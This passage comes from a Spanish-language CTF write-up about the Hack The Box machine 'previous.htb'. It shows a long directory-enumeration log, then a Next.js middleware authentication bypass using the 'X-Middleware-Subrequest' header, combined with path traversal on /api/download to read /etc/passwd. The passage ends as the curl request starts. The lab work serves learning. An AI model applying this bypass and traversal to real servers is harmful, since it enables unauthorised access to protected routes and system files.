&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 43B - /api/proxy -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fproxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/swagger -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /api/swagger-ui.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger-ui.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 50B - /api/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /api/jsonws/invoke -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fjsonws%2Finvoke
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/apidocs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapidocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 73B - /api/package_search/v4/documentation -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 58B - /api/swagger/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/swagger/swagger -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fswagger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 49B - /api/swagger.yml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.yml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 67B - /api/swagger/static/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fstatic%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 58B - /api/swagger/ui/index -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fui%2Findex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /api/timelion/run -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Ftimelion%2Frun
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v1 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v1/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v3 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v1/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v4 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 74B - /api/vendor/phpunit/phpunit/phpunit -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/version -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fversion
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v2 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 62B - /api/v2/helpdesk/discover -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v2/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v2/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /apidocs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapidocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 57B - /apiserver-aggregator.cert -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator.cert
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 49B - /apiserver-key.pem -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-key.pem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /apiserver-client.crt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-client.crt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /apibuild.pyc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapibuild.pyc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 56B - /apiserver-aggregator.key -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator.key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/whoami -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fwhoami
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /apiserver-aggregator-ca.cert -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator-ca.cert
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /apidoc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapidoc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 36B - /apis -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 19B - /axis//happyaxis.jsp -&amp;gt; /axis/happyaxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 30B - /axis2//axis2-web/HappyAxis.jsp -&amp;gt; /axis2/axis2-web/HappyAxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 24B - /axis2-web//HappyAxis.jsp -&amp;gt; /axis2-web/HappyAxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:36&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -&amp;gt; /Citrix/AccessPlatform/auth/clientscripts/cookies.js
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /docs/CHANGELOG.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2FCHANGELOG.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 41B - /docs.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 36B - /docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /docs/changelog.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fchangelog.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /docs/export-demo.xml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fexport-demo.xml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 66B - /docs/html/admin/ch03s07.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /docs51 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs51
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 51B - /docs/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 67B - /docs/html/developer/ch02.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /docs/maintenance.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fmaintenance.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 70B - /docs/html/developer/ch03s15.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 56B - /docs/html/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 63B - /docs/html/admin/ch01.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 66B - /docs/html/admin/ch01s04.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 64B - /docs/html/admin/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fhtml%2Fadmin%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 51B - /docs/updating.txt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2Fupdating.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:41&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 39B - /engine/classes/swfupload//swfupload.swf -&amp;gt; /engine/classes/swfupload/swfupload.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:41&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 42B - /engine/classes/swfupload//swfupload_f9.swf -&amp;gt; /engine/classes/swfupload/swfupload_f9.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:43&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 27B - /extjs/resources//charts.swf -&amp;gt; /extjs/resources/charts.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:47&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 37B - /html/js/misc/swfupload//swfupload.swf -&amp;gt; /html/js/misc/swfupload/swfupload.swf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:59:03&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; - 3KB - /signin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="auth-bypass-nextjs--middleware"&gt;Auth Bypass (Next.js / middleware)&lt;/h3&gt;
&lt;p&gt;A partir de &lt;strong&gt;Wappalyzer&lt;/strong&gt; se identificó una versión vulnerable a &lt;strong&gt;Auth Bypass&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-84b5-df3212b9082a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La técnica consistía en añadir un encabezado específico a la request.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80fc-a54a-c90485e3c637.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Con el bypass, se siguieron enumerando rutas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80ed-ae21-cf87f8bd4f9a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Aparece un endpoint interesante: &lt;code&gt;/api/download&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="apidownload--lfi"&gt;/api/download → LFI&lt;/h3&gt;
&lt;p&gt;Se hizo fuzzing del parámetro y aparece el nombre &lt;code&gt;example&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8072-881b-c6c880e8885a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Probando el endpoint con &lt;code&gt;curl&lt;/code&gt; se observa un comportamiento de descarga.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-806e-b0ff-d69b119ea81e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;A partir de ahí se prueba un &lt;strong&gt;LFI&lt;/strong&gt; sobre el parámetro.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌──&lt;span style="color:#f92672"&gt;(&lt;/span&gt;kali㉿kali&lt;span style="color:#f92672"&gt;)&lt;/span&gt;-&lt;span style="color:#f92672"&gt;[&lt;/span&gt;~&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─$ curl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http://previous.htb/api/download?example&lt;span style="color:#f92672"&gt;=&lt;/span&gt;../../../etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware&amp;#34;&lt;/span&gt; -v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Host previous.htb:80 was resolved.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv6: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;none&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* IPv4: 10.10.11.83
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;* Trying 10.10.11.83:80...
